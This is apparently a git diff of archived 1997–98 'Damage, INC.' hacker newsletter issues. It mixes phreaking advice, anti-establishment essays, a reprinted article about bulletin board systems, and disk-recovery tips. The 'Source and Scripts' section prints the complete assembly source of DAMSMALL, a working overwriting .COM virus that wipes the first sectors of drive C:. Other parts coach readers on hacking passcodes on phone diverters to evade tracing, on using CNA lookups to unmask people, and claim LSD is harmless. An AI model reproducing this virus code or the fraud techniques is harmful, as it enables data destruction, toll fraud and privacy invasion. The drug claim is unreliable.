+scan for them. You'll probably find a diverter or two, some extenders, PBXs +etc. Usually, there's a 4 or 5 digit passcode on them which can be hacked +quickly. If the passcode is more than 6 digits, try hacking another one as it +will require too many attempts. + +At this point, you might be asking "What do I need a diverter for anyways?" +If you plan on dialing out through a PBX or using an extender for free ld, you +should consider using an extender. Another instance would be hacking an ISP +or using hacked accounts. Diverters are also useful for calling numbers that +have Caller ID, Call Screening or an ANI. Many PBXs, 1-800 extenders, systems +etc. have ANIs...so use diverters to avoid being busted. You can also use +extenders that divert (check to make sure they do first) to access an ISP +through the local number they have in that area. Most ISPs have numbers that +are local to different areas, so using extenders that divert is a fairly good +method to use. Using several diverters is even better and more difficult to +trace. Don't assume that the number you're calling doesn't have an ANI unless +you want to get busted. Once you have some diverters, you can use them with +ToneLoc to scan etc. safely. The possible uses for them are almost endless. + +ANIs can also be used with CNAs. "What the fuck is a CNA?" CNA stands for +Customer Name and Address. If you're beige boxing and used an ANI to get the +phone number (or you just want to find out the Name and Address of a telephone +number) you can use a CNA to get that information. There are local and ld CNAs +as well as 1-900 (pay per minute) CNAs that some private companies provide as a +service. Most of them are setup by the local telco for use by linesmen etc. +They use an ANI to find the number for a line (which is just a pair of wires), +and then they dial the CNA number to find out their Name and Address. Telco +personnel use them and phreaks do as well. They're quite useful in any +situation when you require that information. As in, you can setup a +teleconference while you are beige boxing by using an ANI and a CNA. ;) + +In the next issue of the Damage, INC. Newsletter there will be more information +on PBXs, VMBs etc. I'll discuss what they do, how to find them, hack them and +use them without getting caught. Until then, start reading phreaking related +text files, experiment with ToneLoc and any codes that you find. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1997. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +Savage Dragon's hilarious message: + +I simply couldn't resist including a copy of this message in the Damage, INC. +Newsletter. It was posted in a public base on FoI Archives. My intention +isn't to humiliate him. I'm not trying to be malicious in any way. I just +found it hilarious. Basically, I decided to publish it instead of doing an +interview or interrogation in this issue. Just remember, anything that you +post on a board can be captured/imaged and used by anyone else for their own +purpose. In this case, we just took a message and published it so that our +readers in other area codes (outside of 519) can have a good laugh. ;) + +------------------------------------------------------------------------------- +There I was .. a clueless newbie with an internet account from daddy. I got +into the irc business, all the good stuff. Then I learned about shells. I +found out I had one, and learned how to access it (tough stuff). So, I ftp'd +to to it using good old cuteftp, and started looking around at not only the +shit in my directory, the shit in other directories. There I noticed there +was a big names list of all the poeple's login names. I was in business. Big +time. After I wrote down about 30 names from the list, I loaded up good old +telnet.exe and telnet'ed to my isp, trying every username i wrote down, as for +the password, i just used the username too. :P As I was chatting on irc, no +doubt everyone was laughing at my incredible 'hax0ring' skills, they told me +to try the login name "root". I tried that for about 10 logins, and then +poof, i was disconnected. I went to reconnect, and every time it wouldn't +work. So i called them up and told them something was wrong with my account, +and I couldn't login. In response, they told me "ya, we locked you out". I +chatted with them for a while, then left still wondering how they traced me. +:) I was on my sentex accoutn, telnetting to sentex. Smart. :P Uh. I'm +getting sick of this shit .. + +savage dragon +------------------------------------------------------------------------------- + + +LETTERS TO THE EDITOR - {LETTERS} + +I received these messages on FoI and Distraught Continuum. If you have any +feedback, leave BLACKENED Email or Netmail. + + +Date: 2:32 pm Thu Nov 27, 1997 Number : 746 of 749 +From: Sprite Base : [Damage, INC. Discussion] +To : Blackened Refer #: None +Subj: Damage, INC Newletter #3 Replies: None +Stat: Normal Origin : Local + + +I just got done reading the latest newsletter.. When I read your "Interview" +with Billy boy... I almost pissed myself laughing.. twice. Your information +is always accurate and your 'gut instinct' <-refering to latest interview! +Should be applauded.. Well.. I hope you keep it up.. It's looking very +promising! + +l8r + + .ùù. + `ù..ù$pã¡çîù..ùú + +date: 1:19 pm sat nov 29, 1997 number : 4 of 4 +from: Kalamity base : Private Mail +to : Blackened refer #: none +subj: Hey replies: none +stat: normal origin : local + +Just thought I'd drop a note letting you know that I downloaded all the Damage +Inc. newsletters released so far, and that I think they're excellent! One +thing I will try is Toneloc. Because, honestly, who likes paying Bell for +long distance charges? :) + +Kalamity +------------------------------------------------------------------------------- + +Editor - Sprite, we're glad you enjoyed the interrogation of Billy Gates. It + was intended to be humorous. Basically, we wanted to humiliate him + and give the readers a good laugh at the same time. ;) Thanks for + the feedback man. + + Kalamity, I hope you continue reading the Damage, INC. Newsletter. + It is good that you're taking an interest and learning more about + ToneLoc etc. Your point about ld charges is well taken. Thanks for + the feedback and compliment about our releases. + + +OBJECTIVE OPINIONS - {OPINIONS} +Timothy Leary and Drugs: + +"Turn on, tune in, drop out" +"Surfing the chaos" + +Timothy Leary lead an amazing life. He advocated the use of LSD and other +psychedelic drugs... that expand your mind. He was outspoken, and not afraid +to break the laws in order to convey his message. He was imprisoned, made a +daring escape... fled the United States... and lived in Switzerland until he +was captured in Afghanistan and returned to the U.S. He was anti-establishment +and believed in personal freedom and thought. Even in death, he managed to +capture attention by having his head removed and frozen... to be preserved in +a cryogenic state. His body was then cremated and the ashes were dispersed in +space. His death was filmed, and I was able to watch as they cut off his head +and put it in a clear container filled with ice. His face was positioned +towards the camera. I can honestly say, I have never seen anything quite like +that before. Of course, it's possible that the decapitation of his head was +faked. Real or not, he managed to make everyone that viewed the event think. + +Leary had many accomplishments that are noteworthy. He toured universities as +a speaker. He had a PhD and was also a writer. Over the years, he wrote many +books. Some of them were written while he was serving a sentence in a +California prison. Leary once said that law enforcement was closely related to +agriculture since "police officers are very skilled at planting." to paraphrase +him. He was busted for possession of two joints, which a cop put into the ash +tray of his car. Given his reputation, it shouldn't be too difficult to picture +them framing him. The judge didn't give him bail at his trial because he said +his "ideas were dangerous". President Richard Nixon called Timothy Leary +"the most dangerous man alive." because of the books he'd written and the +speeches he had made. Imagine that. Meanwhile, Leary was just a philosopher +with ideas that the government didn't agree with. He was persecuted for his +ideas, his words, his lifestyle and his mind. That was the real weapon. +Leary's imagination and philosophies weren't "acceptable" to the Government of +the United States of America. In their view, he had very dangerous ideas about +drugs etc. that they are still trying to battle in their little "war against +drugs" until this day. However, they will never win the war on drugs... as long +as there are eloquent, aggressive, free thinkers like Leary around to speak out. + +Don't conform. Become Informed. Don't just believe everything like a zombie. +Instead of listening to propaganda that is intended to brainwash you, educate +yourselves. LSD won't harm you. The THC that's in marijuana doesn't +permanently alter your brain. ;) The anti-drug campaign is orchestrated by +unintelligent members of Big Brother. They will tell you that smoking weed +makes you stupid. If that's true, how was Leary (a frequent drug user) able to +write so many excellent books? Also, why can't they create more imaginative +slogans? "Just say No" says nothing at all. They group everything together. +Are crack, heroin, cocaine, hash, acid, marijuana etc. all the same? No, of +course not. Yet, that's what you are *told* and supposed to believe. Here +is my answer to that: Fuck "the establishment". Fuck "the system". +Fuck "society". Fuck Big Brother. They lie in order to control the citizens. +They expect their words to be taken as truth. They're wrong in assuming that +everyone is blind. + +Leary was a very controversial figure. Big Brother tracked, monitored and +feared him because they thought he was a threat to "society". He had strange +ideas, different behaviour and ways of doing things. That is, he didn't just +go with the grain. In fact, he was infamous for saying things that go directly +against the norm. That is why I feel that he was a genius. I'm not basing +that statement purely on his intellect either, but rather the way in which he +lived his life. He wasn't afraid to be involved in the whole counter-culture +movement of that era. Leary was also a cool person that bridged the generation +gap and could relate seemlessly with much younger people. He was able to teach +them about things that weren't often discussed openly during that time. Leary +would say anything that he believed in, and should be commended for doing that. + +I *know* some of you are enlightened enough to understand the message that is +expressed in this short article, and form your own opinions. That's all that +I can ask for. Unfortunately, the same can't be said of your own government... +as they don't want you to read this and form your own opinions about what is +written. My final comment is that I've seen some of Leary's expressions altered +and abused for commercialism and capitalism. As in, "Turn on, tune in and win" +has been used to advertise contests etc. In my opinion, that is a pathetic +example of how a message can become distorted and used for another purpose. +The majority of the time, the purpose is to exploit it and make money. Greed is +another topic though, so I'll just end this by saying; Think and you will +prosper. + +Written by BLACKENED ú Damage, INC. (C)opyright 1997. + + +REPORTS FROM THE FRONT - {REPORTS} + +(c) 1997 Mark Stachiew +(c) 1997 The Montreal Gazette + +CYBERNAUTS SING THE PRAISES OF BULLETIN BOARDS +by Mark Stachiew + + Back in the Stone Age of computers, before Bill Gates had made his +first million and the Internet had yet to see its first "spam" message, +computer users talked with each other via Bulletin Board Systems +(BBSes). + + While the World Wide Web has taken a bite out of the number of +BBSes, they never really went away and now the old-timers who still +use them are banding together to tell cyberspace newcomers what +they're missing. + + A BBS is basically a computer sitting in someone's home running +software which allows it to answer incoming calls. Other computer +users call the BBS to exchange messages, play games and download +computer programs. It really is an electronic bulletin board. + + They are usually free to call since the system is being run as a +hobby by someone who is donating time and computer. No fancy browsers +or hardware are required. The lowliest computer with a modem and +terminal program will be enough to connect to a BBS. + + Longtime users of BBSes remain nostalgic about the early days of +the 1980s when the first home computers gave birth to the fledgling +bulletin boards. In those days BBS callers used glacially-slow 300 +baud modems with acoustic couplers that had to be fit over telephone +handsets and looked like rubber earmuffs. They endured these hardships +because of the magic that BBSes created. It was a new form of +communication which allowed people to make contact with total +strangers which sometimes developed into lifelong friendships. + + Lynda McCormick knows all about BBSes bringing people together. She +runs one of the oldest ones in Montreal. McBB has been in continuous +operation since 1984 [typo here, actually it was 1987 - we just +celebrated our 10th anniversary this month! --Bl.] and people who +called on the first day are still calling 13 [10] years later. "Some +of the old-time users will still call in long-distance when they've +moved away," she says. "Not on a regular basis, but it's fantastic to +hear from them and hear how life is treating them now in Toronto, +London, Ontario, Seattle, or L.A." + + McCormick is still enthusiastic about BBSing and is creating an +online BBSing Museum with electronic ephemera from BBSes which have +long since vanished into the ether. "The BBS scene in Montreal has +been a very rich one with many characters, personalities and a few +very hilarious stories," she says. "I for one would like to see it +preserved and cherished as it should be, and not simply swept away +and forgotten." + + One local BBS operator, Steve Monteith, has maintained a list of +Montreal bulletin boards (www.vir.com/~capt_xerox/bbslist.html) for +nearly 12 years. Looking over archives of the list demonstrate how +much damage the Web has done to BBSing in this city. In 1989, +Montreal boasted 175 computer bulletin boards. That number grew +steadily, peaking at 482 in 1995 which is about the time the Web began +to blossom. Since then the number of BBSes has plummeted to 221. At +that rate of decline they could be extinct in two years. + + So do BBSes have a future? The people who still use them think so. +They persist because they create a sense of community among users and +because callers usually live in the same town, so they are able to +get together offline where friendships are formed. That can be +difficult on the Internet where you could be exchanging E-mail with +someone from Zimbabwe or Kuala Lampur. + + Monteith notes a few other advantages of the local BBS over the +Internet. You won't get unwanted E-mail (spam) and BBSes are rarely +commercial. "You can read through whole message bases, and not see an +advertisement and you can be quite sure that your name on a BBS isn't +going to be sold to some mailing list." + + An international grass-roots organization has sprung up to spread +the word about BBSes. The Council for Online Community Alternatives +(http://coca.home.ml.org) aims to promote BBSes as an alternative to +the Internet and to build awareness among computer users that BBSes +are available in their communities. They maintain that in recent +years millions of people have rushed out to buy computers thinking +their only online alternative was the Internet, oblivious to the +existence of local BBSes. + + COCA likes to point out some of the advantages of BBSes. For +example, at peak times the busy Internet can slow to a crawl. That +isn't a problem on a BBS since there is usually only one user +connected at a time so your new fast modem will actually work at full +speed. Unlike most discussion groups on the Internet, the ones on +BBSes are usually moderated and ill-tempered "flame" wars are less +common. And pornography is much rarer on BBSes. + + BBSes are becoming more sophisticated. Many local BBSes now offer +Internet E-mail and access to select Usenet newsgroups. Some have lots +of downloadable files while others use flashy terminal programs which +give them a graphical interface which is almost as easy to use as a +Web browser. Some bulletin boards are even directly accessible over +the Web, usually via telnet. You can find a list of other Internet +BBSes at http://dkeep.com/sbi.html. + + Other BBS resources on the Web: + + BBS FAQ + www.sysopworld.com/bbsfaq/text/faqmain.htm + + DIRECTORY OF NORTH AMERICAN B.B.S.es + www.thedirectory.org/areacode.htm + + B.B.S.es ON THE INTERNET + www.digitalis.net/~messer/bbs/ + + THE WORLD OF B.B.S.ing + www-scf.usc.edu/~thuyenqu/bbsing.htm + + +SOURCE AND SCRIPTS - {SOURCE} + +Virus Name: DAMSMALL +Variants: None +Status: New +Written: December 1997 +Symptoms: Infected .COM files, C: is nuked if activated +Origin: Canada +Length: 90 to 105 bytes (with nuke procedure) +Type Code: .COM Infector +Detection Method: F-PROT Heuristics +Removal Instructions: Delete all infected files. They cannot be cleaned since + the start of their code is overwritten. + +General Comments: The DAMSMALL virus infects .COM files by overwriting them. + It alters the date/time stamp of infected files but doesn't + increase their size. The infected files simply become a copy + of the actual virus (the first 90-105 bytes). The virus will + activate the nuke procedure when there aren't any .COM files + in the current directory to infect. Upon activation, it will + nuke the first 120 sectors of drive C: and then halt the CPU. + It's a very small, simple virus. There are no variants of + the DAMSMALL virus. I'm releasing the commented source code + so that readers can use it as a learning tool. + +------------------------------------------------------------------------------- +; [DAMSMALL] virus (105 bytes) +; Written by BLACKENED of Damage, INC. (C)opyright 1997. +; TASM /M DAMSMALL.ASM TLINK /T DAMSMALL.OBJ to assemble. + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ;All COM files start here + +virus_length equ finish - start ;Length of the virus + +start label near + +damage proc near + +id db 'DI' ;The virus ID is DI which stands + ;for Damage, INC. +damage endp + +main proc near + + mov ah,4eh ;Find first file function + mov cx,00100111b ;CX holds attribute mask + mov dx,offset filespec ;DX points to *.COM files + +findlp: + int 21h ;Call DOS to execute function + jb nuke ;Nuke if there are no COM files + call infect ;Attempt to infect the file. + jne exit ;Exit if we were successful. + mov ah,4fh ;Find next file function + jmp short findlp ;Repeat process + +exit: + mov ax,04C00h ;Terminate program + int 21h ;Return to DOS + +main endp + +nuke proc near + + cli ;Prevent all interrupts + mov ah,03 ;BIOS write sectors + mov al,120 ;Number of sectors to nuke + mov ch,00 ;Cylinder + mov cl,01 ;Sector number + mov dh,00 ;Head number + mov dl,80h ;Drive C: + int 13h + + hlt ;Halt CPU + +nuke endp + +infect proc near + + mov ax,3d02h ;DOS Open the file + mov dx,80h+1eh ;Moves filename into dx + int 21h ;Execute function + xchg bx,ax ;Save handle to BX + + mov ah,3Fh ;DOS Read from file function + mov cx,2 ;CX holds 2 bytes to read + mov dx,offset holdit ;DX points to holdit buffer + int 21h + + cmp word ptr [holdit],4944h ;Are the two bytes "DI"? + pushf ;Save flags + je close ;Yes, close the infected file. + + xor dx,dx ;Zero DX + xor cx,cx ;Zero CX + + mov ax,4200h ;File seek function at + int 21h ;the start. + + mov ah,40h ;DOS Write file function + mov dx,offset start ;DX points to start of code + mov cx,virus_length ;Put size of virus in CX + int 21h ;Write virus into file + +close: + mov ah,3eh ;DOS Close file function + int 21h ;The file is now infected and closed + popf ;Restore flags + ret ;Return + +holdit dw ? ;Buffer used to hold first 2 bytes + +infect endp + +filespec db '*.COM',0 ;File type is *.COM + +finish label near + +code ends + end damage +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Awakening: + +I traverse into the darkness, like a soldier on a search and destroy mission +that's encompassed by the jungle of Vietnam. Stealthfully I journey onward +towards the source of my own existence, limitations and ultimate downfall. + +As I look into the blinding blackness, I find the enemy within. My mind +is now clear and sound. The obscure, disturbing thoughts have faded to black +and I realize the true meaning of my discovery. + +Everyone has an enemy within them. To contemplate its destruction, you must +understand its purpose. To comprehend its purpose you must know how the +enemy attacks your own thoughts and lives in your inner being. + +The enemy devours creativity, innovativeness, individualism and free thought. +It preys upon your weakness and drains your ideas and opinions away. + +True freedom can only be obtained by making a conscious decision not to +conform. Fight against control. Break free of the shackles that bind you +and experience reality. + +Self-awakening cannot be explained. To achieve enlightenment, you must define +your own uniqueness and live by it. Eliminate the enemy and you will be free. + +* * * + +Someone once said that nothing you say hasn't already been said. Poetry +disproves that statement. It demonstrates that the written word can be used +in different combinations to convey an idea, message or simple thought. The +power of it lies in the way the words are expressed. That is what makes each +poem unique. If you found this short poem to be interesting and thought +provoking, then that's great. If not, then perhaps you weren't able to grasp +the symbolism and meaning. This section is a recent addition to the +Damage, INC. Newsletter. The poem above was written by BLACKENED. We will +also publish interesting, thought provoking poems that are sent to us by our +readers. The frequency and status of this new section are in question at this +point in time. In other words, the determining factor is the amount of quality +material that we have to work with. Therefore, this section might not exist +in every issue of the Damage, INC. Newsletter. + +Written by BLACKENED ú Damage, INC. (C)opyright 1997. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Hostile Closing Comments: + +Damage, INC. is proud of the Damage, INC. Newsletter and this December issue. +I'm personally pleased with the overall results we've achieved after many hours +of dedicated work. I honestly hope that you enjoy reading what we've written. +Also, we want you to let us know if you've learned anything, used any of the +information that we've shared, or put a technique into practice. + +I admit, not every paragraph is eloquently written and our articles aren't all +literary classics by any means, but we *always* strive for excellence. Quality +is extremely important to us. We try to have a theme for each issue. In fact, +we believe that nothing else should be allowed to outweigh the actual message. +That is why most of our time is spent making sure a clear message is presented +to the readers. The majority of the information in this issue is geared towards +h/p newbies. However, that will change in the future. More advanced h/p +related tips, methods, techniques etc. will be included for those that already +have some knowledge and experience... and haven't just entered the h/p scene. +If you aren't a newbie don't despair, continue reading the Damage, INC. +Newsletter. In the meantime, you can become involved and contribute. That'll +speed up the process of educating newbies, and we can then move forward. Last +but not least, have a happy fucking New Year! ;) + +We're still looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our releases, they +are currently available on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. +Distraught Continuum - h/p/a/c/v/t, programming, etc. + +Any feedback or letters to the editor should be sent to BLACKENED in Email on +on a Damage, INC. board near you. I can also be contacted via Echomail/Netmail +in several nets. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.005 b/textfiles.com/groups/DAMAGEINC/damage.005 new file mode 100644 index 00000000..48d27182 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.005 @@ -0,0 +1,1536 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + January 1998 Issue #5 + + "Addictive but not lethal." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - A plastic, microchip controlled world. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Data recovery techniques. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Bill C-17: The Thought Police are here. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Saddam Hussein: A greedy, defiant dictator. + ¯ Search String: {GREED} + +þ H/P INFORMATION AND NEWS - Phreaking information on PBXs. + ¯ Search String: {NEWS} + +þ INTERVIEWS AND INTERROGATIONS - Another Interrogation of Billy Gates. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - Robert Latimer; victim of cowardly inaction. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Ten Tips on how to live in the New World Order. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - Fade to Black trojan source code. + ¯ Search String: {SOURCE} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - "Visions in Fire" essay. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's Humble Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: The Damage, INC. Newsletter is more addictive than nicotine, + heroin and crack but not lethal. However, we're not responsible + in any way if you overdose on any information that we present. + Damage, INC. intends to give you a massive dose of reality in + this issue that'll trip you out... and satisfy your constant + craving for the ultimate fix. We're going to shoot you up with + the most powerful drug imaginable. It's mind altering, thought + provoking and permanent. In essence, it is the perfect drug. + To use, open your eyes wide and it'll be transferred directly + onto your retinas. Then the drug is injected through them into + your brain. The chemicals are absorbed and your mind processes + the information that it has received. The reactions vary and the + results are always different from user to user. In case anyone + doesn't know what I'm referring to, it's called reading and + comprehending what is written. The drug is ideas, opinions and + any information that makes you think. As in, reading something + that is interesting and thinking about what you've read can be + very addictive, expands your mind and is relaxing. It can also + be rewarding to learn about new techniques, methods and different + points of view. + + Reading a publication like the Damage, INC. Newsletter can show + you perspectives that you had not previously considered. It + should be read and used as a source of facts, thoughts etc. that + can vastly improve a readers basis for various subjects and + topics. Damage, INC. believes that by publishing and releasing + this newsletter which informs, educates, promotes alternative + learning and thinking...that inevitably those that loyally read + it are destined to learn and grow. I am by no means speaking + exclusively about the articles that are h/p related either. For + example, the Big Brother Bashing section is just as important + since it contains valuable information that's general interest. + + Also, many of our articles are often about topics that the mass + media chooses to ignore or refuses to openly discuss. They limit + themselves and censor everything. They hide from controversy and + fear truth. That is the reason that this forum was established. + Damage, INC. wanted to create a way of expressing opinions etc. + in an open manner to share thoughts and ideas with others. We're + always honest with our readers and expect people to disagree, + debate and think about what we write. All we can ask is that you + at least consider and contemplate what we've written. In fact, + you are encouraged to evaluate and ponder our words. It won't + kill you to do that. Damage, INC. is aware of the fact that + people will always have differing opinions and we accept that. + We are giving you more credit than the mass media ever will. To + them, everyone is just a zombie with money that they can exploit + in order to profit. They don't perceive us to be intelligent + individuals, but rather a group of naive, gullible idiots that + they can use and influence at will. They look at citizens as + being potential consumers with expendable income. + + Always remember, ignorance is deadly. We need more enlightened, + open minded people that are willing to combat the ignorant that + exist in "society". The greatest weapon that you can possess is + being an informed person that's willing to go against the grain. + + +BIG BROTHER BASHING - {BIG BROTHER} +A plastic, microchip controlled world: + +The world is made of plastic and microchips are everywhere. Instead of being +called Earth, it should be renamed to "The Plastic Planet". Why anyone would +refer to this as the "blue planet" is beyond me. It's more like the microchip +controlled rock that's spiralling aimlessly in orbit out of control. That is, +we are not the ones in control. In fact, plastic cards are the norm and tiny +microchips are in everything now... which makes Big Brother's job of controlling +our lives much easier. Soon Big Brother will have total control over us. Any +information that they desire will be readily available to them. Indeed, it'll +be at their proverbial fingertips. They'll be able to access literally any +data they want instantly. "How is that possible?" I'll explain. Nothing is +safe anymore. "Why not?" The advancements in technology have allowed the +impossible to become common. Gathering data on individuals was once a very +difficult task to perform. That is no longer the case. "What is wrong with +plastic cards and microchips?" I will attempt to answer all of these questions +so that you can form your own opinions about Big Brother from an informed +standpoint. + +Microchips are now smaller and faster than ever before. We are entering a new +age. Some refer to it as being a "Brave New World" (which is a reference to +a classic book by the way). Others fear that Big Brother will abuse this new +technology. Obviously, Big Brother is already embracing and exploiting the +"Digital Revolution". Recently, I read an article on TIME Magazine's Man of +the Year: Andrew Grove. In case you are wondering, he's the chairman and CEO +of Intel. In 1947 the transistor was invented by two Bell Labs scientists in +New Jersey. Today, a single Intel Pentium II processor chip has 7.5 million +transistors on it and is able to make 588 million calculations a second. Intel +and the rest of Silicon Valley aren't just producing microchips that are to be +used in desktop computers. In fact, much of what they sell has nothing to do +with what would be deemed a computer at all. Microchips are now commonly used +in popular convenience appliances like coffee makers, toasters, rice cookers, +televisions and ovens. Those are just some examples. It has been reported that +the technology for someone to control their TV using their brain now exists. +The ubiquitous chip is also in most new cars, cameras, smart cards etc. and is +even in some pairs of running shoes and jewelry. + +According to Andrew Grove, when asked about the role of technology "Technology +happens," "It's not good, it's not bad. Is steel good or bad?" Sure, Grove is +a great entrepreneur. Some might even call him a visionary for building Intel +into a company that is worth an estimated $115 billion with $5.1 billion in +annual profits. However, is he not responsible... at least to a certain extent +for how the technology that Intel creates is used? I am by no means trying to +condemn him for being financially successful. I honestly don't care how wealthy +Grove (or Bill Gates for that matter) is. I do think that they should be held +responsible for the products that they produce though. Surely, Andrew Grove, a +man that lived through the Nazi and SS regime would know how technology such +as the small, fast microchips that Intel creates can be used by Big Brother +during this era. Afterall, he was voted Man of the Year for his brilliance, +leadership and co-founding a huge company that makes nearly 90% of the planet's +PC microprocessors. He contributed to building Intel into an economic power- +house. That can't be disputed. Yet, I can't help but wonder about the future +of the microchip and how it'll be used against us. Already, they can put a +small chip into pairs of shoes that can store and exchange data. They can put +a microchip into the stomachs of animals like cows. Logic dictates that humans +will soon have microchips implanted into their bodies. + +Big Brother is smiling and laughing. The collection of data is being made much +easier for them with the accepted use of plastic smart cards and microchips. +Technology isn't bad but it can be used for malicious purposes like the invasion +of someone's privacy. Personally, I want to be able to purchase items without +Big Brother having a record of every transaction I make. I don't want them to +have access to all of my financial data, medical data, be able to track my +movements, or have everything they want at their fingertips. Citizens should +have the right to privacy and freedom. I won't allow Big Brother to implant a +microchip in me. Just as, I won't use any smart cards. They aren't safe since +they contain microchips, can store and transfer data, and make it easy for Big +Brother to gain information. I suggest you think about the future, how plastic +smart cards and microchips will be used. Do you want Big Brother to have total +control over you? It is possible. Hoping that it won't become a reality or +ignoring it won't make it go away. That is the reason that nothing is safe, +secure or private anymore. Big Brother has plastic cards and silicon microchips +to thank for their greatest wish becoming possible. + +Cameras are everywhere. They're mounted outside on buildings, street corners, +at intersections on traffic lights, above ATM machines etc. They are also +inside of many buildings (retail and commercial stores, offices, airports, most +banks etc.) Some cameras are well hidden and are so minuscule that they're +almost undetectable. Eventually, you won't be able to walk in an isolated, +unpopulated rural area without knowing or feeling that you're being watched. +Everything that you do will be recorded. The inside of an average Las Vegas +casino, with its hundreds of security cameras scoping out every square inch of +the establishment... panning and zooming in on gamblers could easily become the +model used by Big Brother. Afterall, why wouldn't Big Brother study the way +that casinos monitor people and then copy them? It would be extremely cost +effective for them to employ the same system(s) used by casinos elsewhere. Of +course, Big Brother would use them to track and monitor the actions of innocent +citizens for purposes of control and power. If nothing else, it is definitely +something that you should think about. Never assume that you have privacy or +take it for granted. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Data recovery techniques: + +Disclaimer: +If you use any of these data recovery techniques, and the result is that you +lose data, Damage, INC. isn't responsible. They're just tips that should work +if they're properly applied. However, they won't remedy every catastrophic +situation. They should be followed precisely and only used when absolutely +necessary. For example, you accidentally executed a trojan and want to attempt +to recover some of the crucial, important data. Basically, you should only +use the methods below as a last resort. ;) + +Now that I've established when to use these data recovery techniques, I will +now discuss certain possible situations and problems. Many newbies have asked +me how to "fix their hard drive". First, I ask them what problems they have +encountered. Usually, they reply that their hard drive "won't boot anymore". +Obviously, I tell them to try booting up their system from a bootable floppy, +switch to C:, execute FDISK /MBR (replaces the Master Boot Record), remove the +floppy and then reboot. Of course, that only repairs one problem and there +can be many. If the user ran a trojan, they will more than likely have several +other problems with their hard drives. The Media Descriptor Byte can be +invalid, the Partition Tables, FAT Tables etc. could have been altered etc. +It's possible that there's been some damage done and data loss. However, you +might be able to recover everything. Some people make the mistake of loading +FDISK and using FORMAT C: immediately. They assume that because they get the +DOS error message "Invalid drive specification" when they try to change to C: +and can't access the drive, that it means drive C: is done in. That's simply +not true. There's always a chance for data recovery. ;) + +If you receive that error message, execute FDISK on a floppy disk. (Hopefully +you have a bootable MS-DOS backup disk. If you don't, I suggest you make one). +If there are NON-DOS partitions that the trojan created, delete them. If the +partition table was nuked, create a new one that is the same size as the +previous one that existed. (ie, if you have a 1 gig hard drive and it wasn't +partitioned into two drive letters, then create a new 1 gig partition). FDISK +doesn't "destroy" any data. Ignore the warning message that says all data on +the current partition will be destroyed. Don't worry, many people are under +that misconception and fear FDISK. Then reboot the system. If there are still +problems, then it's probably due to the FAT tables being destroyed. It's very +common for trojans to overwrite and corrupt the FAT tables. Basically, they're +an easy target. In case you are wondering, there are two FAT tables +(File Allocation Tables) per hard drive. The second FAT is an exact duplicate +copy of the first. In order to repair them, you'll need to use Norton Disk +Doctor (or a similar product). That is, unless you know how to manually +repair your FAT Tables etc. with a disk editor. ;) If you do, use Norton +DiskEdit or the disk editor of your choice. At any rate, that's a good way to +check out the damage that's been done... since you can view the data that has +been overwritten etc. before you decide to do anything. + +Norton Disk Doctor might report many errors with your hard drive(s). It will +report any problems that it finds and prompt you to fix any areas that it +determines to be invalid. This is the final step in this data recovery +technique. There is no turning back. Do not allow Norton Disk Doctor to repair +any Partition or Boot Sector errors it may 